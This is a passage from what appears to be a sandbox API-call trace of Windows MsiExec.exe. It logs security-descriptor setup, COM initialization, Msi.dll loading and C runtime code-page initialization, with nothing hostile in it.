IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0x12)) returned 1 [0150.125] AllocateAndInitializeSid (in: pIdentifierAuthority=0x1dd930, nSubAuthorityCount=0x2, nSubAuthority0=0x20, nSubAuthority1=0x220, nSubAuthority2=0x0, nSubAuthority3=0x0, nSubAuthority4=0x0, nSubAuthority5=0x0, nSubAuthority6=0x0, nSubAuthority7=0x0, pSid=0x1dd6f0 | out: pSid=0x1dd6f0*=0x415400*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0))) returned 1 [0150.125] GetLengthSid (pSid=0x4153e8*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0x12)) returned 0xc [0150.125] GetLengthSid (pSid=0x415400*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0))) returned 0x10 [0150.125] InitializeAcl (in: pAcl=0x1dd728, nAclLength=0x34, dwAclRevision=0x2 | out: pAcl=0x1dd728) returned 1 [0150.125] AddAccessAllowedAce (in: pAcl=0x1dd728, dwAceRevision=0x2, AccessMask=0x1, pSid=0x4153e8*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0x12) | out: pAcl=0x1dd728) returned 1 [0150.125] GetAce (in: pAcl=0x1dd728, dwAceIndex=0x0, pAce=0x1dd710 | out: pAce=0x1dd710*=0x1dd730) returned 1 [0150.125] AddAccessAllowedAce (in: pAcl=0x1dd728, dwAceRevision=0x2, AccessMask=0x1, pSid=0x415400*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)) | out: pAcl=0x1dd728) returned 1 [0150.125] GetAce (in: pAcl=0x1dd728, dwAceIndex=0x1, pAce=0x1dd710 | out: pAce=0x1dd710*=0x1dd744) returned 1 [0150.125] InitializeSecurityDescriptor (in: pSecurityDescriptor=0x1dd6cc, dwRevision=0x1 | out: pSecurityDescriptor=0x1dd6cc) returned 1 [0150.125] SetSecurityDescriptorDacl (in: pSecurityDescriptor=0x1dd6cc, bDaclPresent=1, pDacl=0x1dd728, bDaclDefaulted=0 | out: pSecurityDescriptor=0x1dd6cc) returned 1 [0150.125] SetSecurityDescriptorOwner (in: pSecurityDescriptor=0x1dd6cc, pOwner=0x415400*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), bOwnerDefaulted=0 | out: pSecurityDescriptor=0x1dd6cc) returned 1 [0150.125] SetSecurityDescriptorGroup (in: pSecurityDescriptor=0x1dd6cc, pGroup=0x4153e8*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0x12), bGroupDefaulted=0 | out: pSecurityDescriptor=0x1dd6cc) returned 1 [0150.125] GetSecurityDescriptorLength (pSecurityDescriptor=0x1dd6cc) returned 0x64 [0150.126] MakeSelfRelativeSD (in: pAbsoluteSecurityDescriptor=0x1dd6cc, pSelfRelativeSecurityDescriptor=0x1dfb70, lpdwBufferLength=0x1dd9a8 | out: pSelfRelativeSecurityDescriptor=0x1dfb70, lpdwBufferLength=0x1dd9a8) returned 1 [0150.126] MakeAbsoluteSD (in: pSelfRelativeSecurityDescriptor=0x1dfb70, pAbsoluteSecurityDescriptor=0x1de260, lpdwAbsoluteSecurityDescriptorSize=0x1dd980, pDacl=0x1dde30, lpdwDaclSize=0x1dd9a4, pSacl=0x1de048, lpdwSaclSize=0x1dd990, pOwner=0x1de154, lpdwOwnerSize=0x1dd99c, pPrimaryGroup=0x1ddf3c, lpdwPrimaryGroupSize=0x1dd9a0 | out: pAbsoluteSecurityDescriptor=0x1de260, lpdwAbsoluteSecurityDescriptorSize=0x1dd980, pDacl=0x1dde30, lpdwDaclSize=0x1dd9a4, pSacl=0x1de048, lpdwSaclSize=0x1dd990, pOwner=0x1de154*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), lpdwOwnerSize=0x1dd99c, pPrimaryGroup=0x1ddf3c*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0x12), lpdwPrimaryGroupSize=0x1dd9a0) returned 1 [0150.126] GetProcAddress (hModule=0x75740000, lpProcName="CoInitializeSecurity") returned 0x75767259 [0150.126] CoInitializeSecurity (pSecDesc=0x1de260, cAuthSvc=-1, asAuthSvc=0x0, pReserved1=0x0, dwAuthnLevel=0x3, dwImpLevel=0x2, pAuthList=0x0, dwCapabilities=0x0, pReserved3=0x0) returned 0x0 [0150.146] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0xf4 [0150.146] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0xf0 [0150.146] GetProcAddress (hModule=0x75740000, lpProcName="CoCreateInstance") returned 0x75789d0b [0150.146] CoCreateInstance (in: rclsid=0x81ba00*(Data1=0xc101c, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pUnkOuter=0x0, dwClsContext=0x4, riid=0x811848*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1dd878 | out: ppv=0x1dd878*=0x4292f4) returned 0x0 [0150.224] IUnknown:QueryInterface (in: This=0x4292f4, riid=0x81ba00*(Data1=0xc101c, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1dd87c | out: ppvObject=0x1dd87c*=0x41b9f4) returned 0x0 [0150.230] IUnknown:Release (This=0x4292f4) returned 0x1 [0150.230] LoadLibraryW (lpLibFileName="Msi.dll") returned 0x722b0000 [0150.230] GetProcAddress (hModule=0x722b0000, lpProcName="DllGetClassObject") returned 0x722d183e [0150.230] DllGetClassObject (in: rclsid=0x818160*(Data1=0xc102a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), riid=0x811848*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1dd948 | out: ppv=0x1dd948*=0x724ca460) returned 0x0 [0150.231] IUnknown:AddRef (This=0x724ca460) returned 0x1 [0150.242] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xf30) returned 0x140 [0150.243] GetProcAddress (hModule=0x75740000, lpProcName="CoIsHandlerConnected") returned 0x758039b5 [0150.243] CoIsHandlerConnected (pUnk=0x41ba3c) returned 1 [0150.243] CloseHandle (hObject=0xa0) returned 1 [0150.244] IUnknown:Release (This=0x41b9f4) returned 0x0 [0150.244] IUnknown:Release (This=0x41ba3c) returned 0x1 [0150.245] MsgWaitForMultipleObjects (nCount=0x3, pHandles=0x1dd984*=0x140, fWaitAll=0, dwMilliseconds=0xffffffff, dwWakeMask=0x4ff) Thread: id = 156 os_tid = 0xd44 Thread: id = 157 os_tid = 0xd40 Thread: id = 158 os_tid = 0xd34 Thread: id = 159 os_tid = 0xd30 Thread: id = 160 os_tid = 0xd2c [0150.285] HeapCreate (flOptions=0x0, dwInitialSize=0x1000, dwMaximumSize=0x0) returned 0x2410000 [0150.287] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x752b0000 [0150.287] GetProcAddress (hModule=0x752b0000, lpProcName="FlsAlloc") returned 0x752c4ee3 [0150.287] GetProcAddress (hModule=0x752b0000, lpProcName="FlsGetValue") returned 0x752c1252 [0150.287] GetProcAddress (hModule=0x752b0000, lpProcName="FlsSetValue") returned 0x752c41c0 [0150.287] GetProcAddress (hModule=0x752b0000, lpProcName="FlsFree") returned 0x752c354f [0150.288] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x752b0000 [0150.288] GetProcAddress (hModule=0x752b0000, lpProcName="EncodePointer") returned 0x76f40fcb [0150.289] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x752b0000 [0150.289] GetProcAddress (hModule=0x752b0000, lpProcName="EncodePointer") returned 0x76f40fcb [0150.289] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x752b0000 [0150.289] GetProcAddress (hModule=0x752b0000, lpProcName="EncodePointer") returned 0x76f40fcb [0150.290] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x752b0000 [0150.290] GetProcAddress (hModule=0x752b0000, lpProcName="EncodePointer") returned 0x76f40fcb [0150.290] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x752b0000 [0150.290] GetProcAddress (hModule=0x752b0000, lpProcName="EncodePointer") returned 0x76f40fcb [0150.290] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x752b0000 [0150.290] GetProcAddress (hModule=0x752b0000, lpProcName="EncodePointer") returned 0x76f40fcb [0150.291] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x752b0000 [0150.291] GetProcAddress (hModule=0x752b0000, lpProcName="EncodePointer") returned 0x76f40fcb [0150.291] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x752b0000 [0150.292] GetProcAddress (hModule=0x752b0000, lpProcName="DecodePointer") returned 0x76f39d35 [0150.292] RtlAllocateHeap (HeapHandle=0x2410000, Flags=0x8, Size=0x214) returned 0x24107d0 [0150.292] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x752b0000 [0150.292] GetProcAddress (hModule=0x752b0000, lpProcName="DecodePointer") returned 0x76f39d35 [0150.292] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x752b0000 [0150.293] GetProcAddress (hModule=0x752b0000, lpProcName="EncodePointer") returned 0x76f40fcb [0150.293] GetProcAddress (hModule=0x752b0000, lpProcName="DecodePointer") returned 0x76f39d35 [0150.293] GetCurrentThreadId () returned 0xd2c [0150.293] GetCommandLineA () returned="C:\\Windows\\syswow64\\MsiExec.exe -Embedding ADDCD9128E57B274A403CFC05E47C1FC M Global\\MSI0000" [0150.293] GetEnvironmentStringsW () returned 0x4340f0* [0150.293] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALLUSERSPROFILE=C:\\ProgramData", cchWideChar=1415, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1415 [0150.293] RtlAllocateHeap (HeapHandle=0x2410000, Flags=0x0, Size=0x587) returned 0x24109f0 [0150.293] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALLUSERSPROFILE=C:\\ProgramData", cchWideChar=1415, lpMultiByteStr=0x24109f0, cbMultiByte=1415, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ALLUSERSPROFILE=C:\\ProgramData", lpUsedDefaultChar=0x0) returned 1415 [0150.293] FreeEnvironmentStringsW (penv=0x4340f0) returned 1 [0150.293] GetStartupInfoA (in: lpStartupInfo=0x214f228 | out: lpStartupInfo=0x214f228*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\syswow64\\MsiExec.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xffffffff, hStdOutput=0xffffffff, hStdError=0xffffffff)) [0150.293] RtlAllocateHeap (HeapHandle=0x2410000, Flags=0x8, Size=0x800) returned 0x2410f80 [0150.294] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0 [0150.294] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0150.294] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0 [0150.294] SetHandleCount (uNumber=0x20) returned 0x20 [0150.294] GetLastError () returned 0x0 [0150.294] SetLastError (dwErrCode=0x0) [0150.294] GetLastError () returned 0x0 [0150.294] SetLastError (dwErrCode=0x0) [0150.294] GetLastError () returned 0x0 [0150.294] SetLastError (dwErrCode=0x0) [0150.294] GetACP () returned 0x4e4 [0150.294] RtlAllocateHeap (HeapHandle=0x2410000, Flags=0x0, Size=0x220) returned 0x2411788 [0150.294] GetLastError () returned 0x0 [0150.294] SetLastError (dwErrCode=0x0) [0150.294] IsValidCodePage (CodePage=0x4e4) returned 1 [0150.294] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x214f208 | out: lpCPInfo=0x214f208) returned 1 [0150.295] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x214ecd4 | out: lpCPInfo=0x214ecd4) returned 1 [0150.295] GetLastError () returned 0x0 [0150.295] SetLastError (dwErrCode=0x0) [0150.295] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr="", cchSrc=1, lpCharType=0x214ec64 | out: lpCharType=0x214ec64) returned 1 [0150.295] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x214f0e8, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0150.296] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x214f0e8, cbMultiByte=256, lpWideCharStr=0x214ea58, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0150.296] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpCharType=0x214ece8 | out: lpCharType=0x214ece8) returned 1 [0150.296] GetLastError () returned 0x0 [0150.296] SetLastError (dwErrCode=0x0) [0150.296] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr="", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0150.296] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x214f0e8, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0150.296] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x214f0e8, cbMultiByte=256, lpWideCharStr=0x214ea18, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0150.296] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 256 [0150.296] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x214e808, cchDest=256 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0150.296] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchWideChar=256, lpMultiByteStr=0x214efe8, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ.ý«+ ò\x14\x02\x87g\x9ft¨\x19A\x02`\x16¡t\x88\x17A\x02 \x02", lpUsedDefaultChar=0x0) returned 256 [0150.296] GetLastError () returned 0x0 [0150.297] SetLastError (dwErrCode=0x0) [0150.297] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x214f0e8, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0150.297] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x214f0e8, cbMultiByte=256, lpWideCharStr=0x214ea38, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0150.297] LCMapStringW (in: Locale=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 256 [0150.297] LCMapStringW (in: Locale=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x214e828, cchDest=256 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸĀ") returned 256 [0150.297] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸĀ", cchWideChar=256, lpMultiByteStr=0x214eee8, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞ\x9f 